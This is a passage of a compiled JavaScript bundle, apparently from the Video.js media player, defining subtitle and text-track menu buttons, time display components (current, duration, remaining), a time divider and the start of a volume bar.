  5809. exports.__esModule = true;
  5810. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  5811. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  5812. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  5813. var _textTrackMenuItemJs = _dereq_('./text-track-menu-item.js');
  5814. var _textTrackMenuItemJs2 = _interopRequireDefault(_textTrackMenuItemJs);
  5815. var _componentJs = _dereq_('../../component.js');
  5816. var _componentJs2 = _interopRequireDefault(_componentJs);
  5817. /**
  5818. * A special menu item for turning of a specific type of text track
  5819. *
  5820. * @param {Player|Object} player
  5821. * @param {Object=} options
  5822. * @extends TextTrackMenuItem
  5823. * @class OffTextTrackMenuItem
  5824. */
  5825. var OffTextTrackMenuItem = (function (_TextTrackMenuItem) {
  5826. _inherits(OffTextTrackMenuItem, _TextTrackMenuItem);
  5827. function OffTextTrackMenuItem(player, options) {
  5828. _classCallCheck(this, OffTextTrackMenuItem);
  5829. // Create pseudo track info
  5830. // Requires options['kind']
  5831. options['track'] = {
  5832. 'kind': options['kind'],
  5833. 'player': player,
  5834. 'label': options['kind'] + ' off',
  5835. 'default': false,
  5836. 'mode': 'disabled'
  5837. };
  5838. // MenuItem is selectable
  5839. options['selectable'] = true;
  5840. _TextTrackMenuItem.call(this, player, options);
  5841. this.selected(true);
  5842. }
  5843. /**
  5844. * Handle text track change
  5845. *
  5846. * @param {Object} event Event object
  5847. * @method handleTracksChange
  5848. */
  5849. OffTextTrackMenuItem.prototype.handleTracksChange = function handleTracksChange(event) {
  5850. var tracks = this.player().textTracks();
  5851. var selected = true;
  5852. for (var i = 0, l = tracks.length; i < l; i++) {
  5853. var track = tracks[i];
  5854. if (track['kind'] === this.track['kind'] && track['mode'] === 'showing') {
  5855. selected = false;
  5856. break;
  5857. }
  5858. }
  5859. this.selected(selected);
  5860. };
  5861. return OffTextTrackMenuItem;
  5862. })(_textTrackMenuItemJs2['default']);
  5863. _componentJs2['default'].registerComponent('OffTextTrackMenuItem', OffTextTrackMenuItem);
  5864. exports['default'] = OffTextTrackMenuItem;
  5865. module.exports = exports['default'];
  5866. },{"../../component.js":67,"./text-track-menu-item.js":93}],91:[function(_dereq_,module,exports){
  5867. /**
  5868. * @file subtitles-button.js
  5869. */
  5870. 'use strict';
  5871. exports.__esModule = true;
  5872. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  5873. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  5874. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  5875. var _textTrackButtonJs = _dereq_('./text-track-button.js');
  5876. var _textTrackButtonJs2 = _interopRequireDefault(_textTrackButtonJs);
  5877. var _componentJs = _dereq_('../../component.js');
  5878. var _componentJs2 = _interopRequireDefault(_componentJs);
  5879. /**
  5880. * The button component for toggling and selecting subtitles
  5881. *
  5882. * @param {Object} player Player object
  5883. * @param {Object=} options Object of option names and values
  5884. * @param {Function=} ready Ready callback function
  5885. * @extends TextTrackButton
  5886. * @class SubtitlesButton
  5887. */
  5888. var SubtitlesButton = (function (_TextTrackButton) {
  5889. _inherits(SubtitlesButton, _TextTrackButton);
  5890. function SubtitlesButton(player, options, ready) {
  5891. _classCallCheck(this, SubtitlesButton);
  5892. _TextTrackButton.call(this, player, options, ready);
  5893. this.el_.setAttribute('aria-label', 'Subtitles Menu');
  5894. }
  5895. /**
  5896. * Allow sub components to stack CSS class names
  5897. *
  5898. * @return {String} The constructed class name
  5899. * @method buildCSSClass
  5900. */
  5901. SubtitlesButton.prototype.buildCSSClass = function buildCSSClass() {
  5902. return 'vjs-subtitles-button ' + _TextTrackButton.prototype.buildCSSClass.call(this);
  5903. };
  5904. return SubtitlesButton;
  5905. })(_textTrackButtonJs2['default']);
  5906. SubtitlesButton.prototype.kind_ = 'subtitles';
  5907. SubtitlesButton.prototype.controlText_ = 'Subtitles';
  5908. _componentJs2['default'].registerComponent('SubtitlesButton', SubtitlesButton);
  5909. exports['default'] = SubtitlesButton;
  5910. module.exports = exports['default'];
  5911. },{"../../component.js":67,"./text-track-button.js":92}],92:[function(_dereq_,module,exports){
  5912. /**
  5913. * @file text-track-button.js
  5914. */
  5915. 'use strict';
  5916. exports.__esModule = true;
  5917. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  5918. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  5919. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  5920. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  5921. var _trackButtonJs = _dereq_('../track-button.js');
  5922. var _trackButtonJs2 = _interopRequireDefault(_trackButtonJs);
  5923. var _componentJs = _dereq_('../../component.js');
  5924. var _componentJs2 = _interopRequireDefault(_componentJs);
  5925. var _utilsFnJs = _dereq_('../../utils/fn.js');
  5926. var Fn = _interopRequireWildcard(_utilsFnJs);
  5927. var _textTrackMenuItemJs = _dereq_('./text-track-menu-item.js');
  5928. var _textTrackMenuItemJs2 = _interopRequireDefault(_textTrackMenuItemJs);
  5929. var _offTextTrackMenuItemJs = _dereq_('./off-text-track-menu-item.js');
  5930. var _offTextTrackMenuItemJs2 = _interopRequireDefault(_offTextTrackMenuItemJs);
  5931. /**
  5932. * The base class for buttons that toggle specific text track types (e.g. subtitles)
  5933. *
  5934. * @param {Player|Object} player
  5935. * @param {Object=} options
  5936. * @extends MenuButton
  5937. * @class TextTrackButton
  5938. */
  5939. var TextTrackButton = (function (_TrackButton) {
  5940. _inherits(TextTrackButton, _TrackButton);
  5941. function TextTrackButton(player) {
  5942. var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
  5943. _classCallCheck(this, TextTrackButton);
  5944. options.tracks = player.textTracks();
  5945. _TrackButton.call(this, player, options);
  5946. }
  5947. /**
  5948. * Create a menu item for each text track
  5949. *
  5950. * @return {Array} Array of menu items
  5951. * @method createItems
  5952. */
  5953. TextTrackButton.prototype.createItems = function createItems() {
  5954. var items = arguments.length <= 0 || arguments[0] === undefined ? [] : arguments[0];
  5955. // Add an OFF menu item to turn all tracks off
  5956. items.push(new _offTextTrackMenuItemJs2['default'](this.player_, { 'kind': this.kind_ }));
  5957. var tracks = this.player_.textTracks();
  5958. if (!tracks) {
  5959. return items;
  5960. }
  5961. for (var i = 0; i < tracks.length; i++) {
  5962. var track = tracks[i];
  5963. // only add tracks that are of the appropriate kind and have a label
  5964. if (track['kind'] === this.kind_) {
  5965. items.push(new _textTrackMenuItemJs2['default'](this.player_, {
  5966. // MenuItem is selectable
  5967. 'selectable': true,
  5968. 'track': track
  5969. }));
  5970. }
  5971. }
  5972. return items;
  5973. };
  5974. return TextTrackButton;
  5975. })(_trackButtonJs2['default']);
  5976. _componentJs2['default'].registerComponent('TextTrackButton', TextTrackButton);
  5977. exports['default'] = TextTrackButton;
  5978. module.exports = exports['default'];
  5979. },{"../../component.js":67,"../../utils/fn.js":144,"../track-button.js":98,"./off-text-track-menu-item.js":90,"./text-track-menu-item.js":93}],93:[function(_dereq_,module,exports){
  5980. /**
  5981. * @file text-track-menu-item.js
  5982. */
  5983. 'use strict';
  5984. exports.__esModule = true;
  5985. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  5986. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  5987. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  5988. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  5989. var _menuMenuItemJs = _dereq_('../../menu/menu-item.js');
  5990. var _menuMenuItemJs2 = _interopRequireDefault(_menuMenuItemJs);
  5991. var _componentJs = _dereq_('../../component.js');
  5992. var _componentJs2 = _interopRequireDefault(_componentJs);
  5993. var _utilsFnJs = _dereq_('../../utils/fn.js');
  5994. var Fn = _interopRequireWildcard(_utilsFnJs);
  5995. var _globalWindow = _dereq_('global/window');
  5996. var _globalWindow2 = _interopRequireDefault(_globalWindow);
  5997. var _globalDocument = _dereq_('global/document');
  5998. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  5999. /**
  6000. * The specific menu item type for selecting a language within a text track kind
  6001. *
  6002. * @param {Player|Object} player
  6003. * @param {Object=} options
  6004. * @extends MenuItem
  6005. * @class TextTrackMenuItem
  6006. */
  6007. var TextTrackMenuItem = (function (_MenuItem) {
  6008. _inherits(TextTrackMenuItem, _MenuItem);
  6009. function TextTrackMenuItem(player, options) {
  6010. var _this = this;
  6011. _classCallCheck(this, TextTrackMenuItem);
  6012. var track = options['track'];
  6013. var tracks = player.textTracks();
  6014. // Modify options for parent MenuItem class's init.
  6015. options['label'] = track['label'] || track['language'] || 'Unknown';
  6016. options['selected'] = track['default'] || track['mode'] === 'showing';
  6017. _MenuItem.call(this, player, options);
  6018. this.track = track;
  6019. if (tracks) {
  6020. (function () {
  6021. var changeHandler = Fn.bind(_this, _this.handleTracksChange);
  6022. tracks.addEventListener('change', changeHandler);
  6023. _this.on('dispose', function () {
  6024. tracks.removeEventListener('change', changeHandler);
  6025. });
  6026. })();
  6027. }
  6028. // iOS7 doesn't dispatch change events to TextTrackLists when an
  6029. // associated track's mode changes. Without something like
  6030. // Object.observe() (also not present on iOS7), it's not
  6031. // possible to detect changes to the mode attribute and polyfill
  6032. // the change event. As a poor substitute, we manually dispatch
  6033. // change events whenever the controls modify the mode.
  6034. if (tracks && tracks.onchange === undefined) {
  6035. (function () {
  6036. var event = undefined;
  6037. _this.on(['tap', 'click'], function () {
  6038. if (typeof _globalWindow2['default'].Event !== 'object') {
  6039. // Android 2.3 throws an Illegal Constructor error for window.Event
  6040. try {
  6041. event = new _globalWindow2['default'].Event('change');
  6042. } catch (err) {}
  6043. }
  6044. if (!event) {
  6045. event = _globalDocument2['default'].createEvent('Event');
  6046. event.initEvent('change', true, true);
  6047. }
  6048. tracks.dispatchEvent(event);
  6049. });
  6050. })();
  6051. }
  6052. }
  6053. /**
  6054. * Handle click on text track
  6055. *
  6056. * @method handleClick
  6057. */
  6058. TextTrackMenuItem.prototype.handleClick = function handleClick(event) {
  6059. var kind = this.track['kind'];
  6060. var tracks = this.player_.textTracks();
  6061. _MenuItem.prototype.handleClick.call(this, event);
  6062. if (!tracks) return;
  6063. for (var i = 0; i < tracks.length; i++) {
  6064. var track = tracks[i];
  6065. if (track['kind'] !== kind) {
  6066. continue;
  6067. }
  6068. if (track === this.track) {
  6069. track['mode'] = 'showing';
  6070. } else {
  6071. track['mode'] = 'disabled';
  6072. }
  6073. }
  6074. };
  6075. /**
  6076. * Handle text track change
  6077. *
  6078. * @method handleTracksChange
  6079. */
  6080. TextTrackMenuItem.prototype.handleTracksChange = function handleTracksChange(event) {
  6081. this.selected(this.track['mode'] === 'showing');
  6082. };
  6083. return TextTrackMenuItem;
  6084. })(_menuMenuItemJs2['default']);
  6085. _componentJs2['default'].registerComponent('TextTrackMenuItem', TextTrackMenuItem);
  6086. exports['default'] = TextTrackMenuItem;
  6087. module.exports = exports['default'];
  6088. },{"../../component.js":67,"../../menu/menu-item.js":110,"../../utils/fn.js":144,"global/document":1,"global/window":2}],94:[function(_dereq_,module,exports){
  6089. /**
  6090. * @file current-time-display.js
  6091. */
  6092. 'use strict';
  6093. exports.__esModule = true;
  6094. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  6095. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  6096. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  6097. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  6098. var _componentJs = _dereq_('../../component.js');
  6099. var _componentJs2 = _interopRequireDefault(_componentJs);
  6100. var _utilsDomJs = _dereq_('../../utils/dom.js');
  6101. var Dom = _interopRequireWildcard(_utilsDomJs);
  6102. var _utilsFormatTimeJs = _dereq_('../../utils/format-time.js');
  6103. var _utilsFormatTimeJs2 = _interopRequireDefault(_utilsFormatTimeJs);
  6104. /**
  6105. * Displays the current time
  6106. *
  6107. * @param {Player|Object} player
  6108. * @param {Object=} options
  6109. * @extends Component
  6110. * @class CurrentTimeDisplay
  6111. */
  6112. var CurrentTimeDisplay = (function (_Component) {
  6113. _inherits(CurrentTimeDisplay, _Component);
  6114. function CurrentTimeDisplay(player, options) {
  6115. _classCallCheck(this, CurrentTimeDisplay);
  6116. _Component.call(this, player, options);
  6117. this.on(player, 'timeupdate', this.updateContent);
  6118. }
  6119. /**
  6120. * Create the component's DOM element
  6121. *
  6122. * @return {Element}
  6123. * @method createEl
  6124. */
  6125. CurrentTimeDisplay.prototype.createEl = function createEl() {
  6126. var el = _Component.prototype.createEl.call(this, 'div', {
  6127. className: 'vjs-current-time vjs-time-control vjs-control'
  6128. });
  6129. this.contentEl_ = Dom.createEl('div', {
  6130. className: 'vjs-current-time-display',
  6131. // label the current time for screen reader users
  6132. innerHTML: '<span class="vjs-control-text">Current Time </span>' + '0:00'
  6133. }, {
  6134. // tell screen readers not to automatically read the time as it changes
  6135. 'aria-live': 'off'
  6136. });
  6137. el.appendChild(this.contentEl_);
  6138. return el;
  6139. };
  6140. /**
  6141. * Update current time display
  6142. *
  6143. * @method updateContent
  6144. */
  6145. CurrentTimeDisplay.prototype.updateContent = function updateContent() {
  6146. // Allows for smooth scrubbing, when player can't keep up.
  6147. var time = this.player_.scrubbing() ? this.player_.getCache().currentTime : this.player_.currentTime();
  6148. var localizedText = this.localize('Current Time');
  6149. var formattedTime = _utilsFormatTimeJs2['default'](time, this.player_.duration());
  6150. if (formattedTime !== this.formattedTime_) {
  6151. this.formattedTime_ = formattedTime;
  6152. this.contentEl_.innerHTML = '<span class="vjs-control-text">' + localizedText + '</span> ' + formattedTime;
  6153. }
  6154. };
  6155. return CurrentTimeDisplay;
  6156. })(_componentJs2['default']);
  6157. _componentJs2['default'].registerComponent('CurrentTimeDisplay', CurrentTimeDisplay);
  6158. exports['default'] = CurrentTimeDisplay;
  6159. module.exports = exports['default'];
  6160. },{"../../component.js":67,"../../utils/dom.js":142,"../../utils/format-time.js":145}],95:[function(_dereq_,module,exports){
  6161. /**
  6162. * @file duration-display.js
  6163. */
  6164. 'use strict';
  6165. exports.__esModule = true;
  6166. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  6167. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  6168. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  6169. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  6170. var _componentJs = _dereq_('../../component.js');
  6171. var _componentJs2 = _interopRequireDefault(_componentJs);
  6172. var _utilsDomJs = _dereq_('../../utils/dom.js');
  6173. var Dom = _interopRequireWildcard(_utilsDomJs);
  6174. var _utilsFormatTimeJs = _dereq_('../../utils/format-time.js');
  6175. var _utilsFormatTimeJs2 = _interopRequireDefault(_utilsFormatTimeJs);
  6176. /**
  6177. * Displays the duration
  6178. *
  6179. * @param {Player|Object} player
  6180. * @param {Object=} options
  6181. * @extends Component
  6182. * @class DurationDisplay
  6183. */
  6184. var DurationDisplay = (function (_Component) {
  6185. _inherits(DurationDisplay, _Component);
  6186. function DurationDisplay(player, options) {
  6187. _classCallCheck(this, DurationDisplay);
  6188. _Component.call(this, player, options);
  6189. this.on(player, 'durationchange', this.updateContent);
  6190. }
  6191. /**
  6192. * Create the component's DOM element
  6193. *
  6194. * @return {Element}
  6195. * @method createEl
  6196. */
  6197. DurationDisplay.prototype.createEl = function createEl() {
  6198. var el = _Component.prototype.createEl.call(this, 'div', {
  6199. className: 'vjs-duration vjs-time-control vjs-control'
  6200. });
  6201. this.contentEl_ = Dom.createEl('div', {
  6202. className: 'vjs-duration-display',
  6203. // label the duration time for screen reader users
  6204. innerHTML: '<span class="vjs-control-text">' + this.localize('Duration Time') + '</span> 0:00'
  6205. }, {
  6206. // tell screen readers not to automatically read the time as it changes
  6207. 'aria-live': 'off'
  6208. });
  6209. el.appendChild(this.contentEl_);
  6210. return el;
  6211. };
  6212. /**
  6213. * Update duration time display
  6214. *
  6215. * @method updateContent
  6216. */
  6217. DurationDisplay.prototype.updateContent = function updateContent() {
  6218. var duration = this.player_.duration();
  6219. if (duration && this.duration_ !== duration) {
  6220. this.duration_ = duration;
  6221. var localizedText = this.localize('Duration Time');
  6222. var formattedTime = _utilsFormatTimeJs2['default'](duration);
  6223. this.contentEl_.innerHTML = '<span class="vjs-control-text">' + localizedText + '</span> ' + formattedTime; // label the duration time for screen reader users
  6224. }
  6225. };
  6226. return DurationDisplay;
  6227. })(_componentJs2['default']);
  6228. _componentJs2['default'].registerComponent('DurationDisplay', DurationDisplay);
  6229. exports['default'] = DurationDisplay;
  6230. module.exports = exports['default'];
  6231. },{"../../component.js":67,"../../utils/dom.js":142,"../../utils/format-time.js":145}],96:[function(_dereq_,module,exports){
  6232. /**
  6233. * @file remaining-time-display.js
  6234. */
  6235. 'use strict';
  6236. exports.__esModule = true;
  6237. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  6238. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  6239. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  6240. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  6241. var _componentJs = _dereq_('../../component.js');
  6242. var _componentJs2 = _interopRequireDefault(_componentJs);
  6243. var _utilsDomJs = _dereq_('../../utils/dom.js');
  6244. var Dom = _interopRequireWildcard(_utilsDomJs);
  6245. var _utilsFormatTimeJs = _dereq_('../../utils/format-time.js');
  6246. var _utilsFormatTimeJs2 = _interopRequireDefault(_utilsFormatTimeJs);
  6247. /**
  6248. * Displays the time left in the video
  6249. *
  6250. * @param {Player|Object} player
  6251. * @param {Object=} options
  6252. * @extends Component
  6253. * @class RemainingTimeDisplay
  6254. */
  6255. var RemainingTimeDisplay = (function (_Component) {
  6256. _inherits(RemainingTimeDisplay, _Component);
  6257. function RemainingTimeDisplay(player, options) {
  6258. _classCallCheck(this, RemainingTimeDisplay);
  6259. _Component.call(this, player, options);
  6260. this.on(player, 'timeupdate', this.updateContent);
  6261. this.on(player, 'durationchange', this.updateContent);
  6262. }
  6263. /**
  6264. * Create the component's DOM element
  6265. *
  6266. * @return {Element}
  6267. * @method createEl
  6268. */
  6269. RemainingTimeDisplay.prototype.createEl = function createEl() {
  6270. var el = _Component.prototype.createEl.call(this, 'div', {
  6271. className: 'vjs-remaining-time vjs-time-control vjs-control'
  6272. });
  6273. this.contentEl_ = Dom.createEl('div', {
  6274. className: 'vjs-remaining-time-display',
  6275. // label the remaining time for screen reader users
  6276. innerHTML: '<span class="vjs-control-text">' + this.localize('Remaining Time') + '</span> -0:00'
  6277. }, {
  6278. // tell screen readers not to automatically read the time as it changes
  6279. 'aria-live': 'off'
  6280. });
  6281. el.appendChild(this.contentEl_);
  6282. return el;
  6283. };
  6284. /**
  6285. * Update remaining time display
  6286. *
  6287. * @method updateContent
  6288. */
  6289. RemainingTimeDisplay.prototype.updateContent = function updateContent() {
  6290. if (this.player_.duration()) {
  6291. var localizedText = this.localize('Remaining Time');
  6292. var formattedTime = _utilsFormatTimeJs2['default'](this.player_.remainingTime());
  6293. if (formattedTime !== this.formattedTime_) {
  6294. this.formattedTime_ = formattedTime;
  6295. this.contentEl_.innerHTML = '<span class="vjs-control-text">' + localizedText + '</span> -' + formattedTime;
  6296. }
  6297. }
  6298. // Allows for smooth scrubbing, when player can't keep up.
  6299. // var time = (this.player_.scrubbing()) ? this.player_.getCache().currentTime : this.player_.currentTime();
  6300. // this.contentEl_.innerHTML = vjs.formatTime(time, this.player_.duration());
  6301. };
  6302. return RemainingTimeDisplay;
  6303. })(_componentJs2['default']);
  6304. _componentJs2['default'].registerComponent('RemainingTimeDisplay', RemainingTimeDisplay);
  6305. exports['default'] = RemainingTimeDisplay;
  6306. module.exports = exports['default'];
  6307. },{"../../component.js":67,"../../utils/dom.js":142,"../../utils/format-time.js":145}],97:[function(_dereq_,module,exports){
  6308. /**
  6309. * @file time-divider.js
  6310. */
  6311. 'use strict';
  6312. exports.__esModule = true;
  6313. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  6314. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  6315. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  6316. var _componentJs = _dereq_('../../component.js');
  6317. var _componentJs2 = _interopRequireDefault(_componentJs);
  6318. /**
  6319. * The separator between the current time and duration.
  6320. * Can be hidden if it's not needed in the design.
  6321. *
  6322. * @param {Player|Object} player
  6323. * @param {Object=} options
  6324. * @extends Component
  6325. * @class TimeDivider
  6326. */
  6327. var TimeDivider = (function (_Component) {
  6328. _inherits(TimeDivider, _Component);
  6329. function TimeDivider() {
  6330. _classCallCheck(this, TimeDivider);
  6331. _Component.apply(this, arguments);
  6332. }
  6333. /**
  6334. * Create the component's DOM element
  6335. *
  6336. * @return {Element}
  6337. * @method createEl
  6338. */
  6339. TimeDivider.prototype.createEl = function createEl() {
  6340. return _Component.prototype.createEl.call(this, 'div', {
  6341. className: 'vjs-time-control vjs-time-divider',
  6342. innerHTML: '<div><span>/</span></div>'
  6343. });
  6344. };
  6345. return TimeDivider;
  6346. })(_componentJs2['default']);
  6347. _componentJs2['default'].registerComponent('TimeDivider', TimeDivider);
  6348. exports['default'] = TimeDivider;
  6349. module.exports = exports['default'];
  6350. },{"../../component.js":67}],98:[function(_dereq_,module,exports){
  6351. /**
  6352. * @file track-button.js
  6353. */
  6354. 'use strict';
  6355. exports.__esModule = true;
  6356. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  6357. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  6358. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  6359. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  6360. var _menuMenuButtonJs = _dereq_('../menu/menu-button.js');
  6361. var _menuMenuButtonJs2 = _interopRequireDefault(_menuMenuButtonJs);
  6362. var _componentJs = _dereq_('../component.js');
  6363. var _componentJs2 = _interopRequireDefault(_componentJs);
  6364. var _utilsFnJs = _dereq_('../utils/fn.js');
  6365. var Fn = _interopRequireWildcard(_utilsFnJs);
  6366. /**
  6367. * The base class for buttons that toggle specific text track types (e.g. subtitles)
  6368. *
  6369. * @param {Player|Object} player
  6370. * @param {Object=} options
  6371. * @extends MenuButton
  6372. * @class TrackButton
  6373. */
  6374. var TrackButton = (function (_MenuButton) {
  6375. _inherits(TrackButton, _MenuButton);
  6376. function TrackButton(player, options) {
  6377. _classCallCheck(this, TrackButton);
  6378. var tracks = options.tracks;
  6379. _MenuButton.call(this, player, options);
  6380. if (this.items.length <= 1) {
  6381. this.hide();
  6382. }
  6383. if (!tracks) {
  6384. return;
  6385. }
  6386. var updateHandler = Fn.bind(this, this.update);
  6387. tracks.addEventListener('removetrack', updateHandler);
  6388. tracks.addEventListener('addtrack', updateHandler);
  6389. this.player_.on('dispose', function () {
  6390. tracks.removeEventListener('removetrack', updateHandler);
  6391. tracks.removeEventListener('addtrack', updateHandler);
  6392. });
  6393. }
  6394. return TrackButton;
  6395. })(_menuMenuButtonJs2['default']);
  6396. _componentJs2['default'].registerComponent('TrackButton', TrackButton);
  6397. exports['default'] = TrackButton;
  6398. module.exports = exports['default'];
  6399. },{"../component.js":67,"../menu/menu-button.js":109,"../utils/fn.js":144}],99:[function(_dereq_,module,exports){
  6400. /**
  6401. * @file volume-bar.js
  6402. */
  6403. 'use strict';
  6404. exports.__esModule = true;
  6405. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  6406. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  6407. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  6408. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  6409. var _sliderSliderJs = _dereq_('../../slider/slider.js');
  6410. var _sliderSliderJs2 = _interopRequireDefault(_sliderSliderJs);
  6411. var _componentJs = _dereq_('../../component.js');
  6412. var _componentJs2 = _interopRequireDefault(_componentJs);
  6413. var _utilsFnJs = _dereq_('../../utils/fn.js');
  6414. var Fn = _interopRequireWildcard(_utilsFnJs);
  6415. // Required children
  6416. var _volumeLevelJs = _dereq_('./volume-level.js');
  6417. var _volumeLevelJs2 = _interopRequireDefault(_volumeLevelJs);
  6418. /**
  6419. * The bar that contains the volume level and can be clicked on to adjust the level
  6420. *
  6421. * @param {Player|Object} player
  6422. * @param {Object=} options
  6423. * @extends Slider
  6424. * @class VolumeBar
  6425. */
  6426. var VolumeBar = (function (_Slider) {
  6427. _inherits(VolumeBar, _Slider);
  6428. function VolumeBar(player, options) {
  6429. _classCallCheck(this, VolumeBar);
  6430. _Slider.call(this, player, options);
  6431. this.on(player, 'volumechange', this.updateARIAAttributes);
  6432. player.ready(Fn.bind(this, this.updateARIAAttributes));
  6433. }
  6434. /**
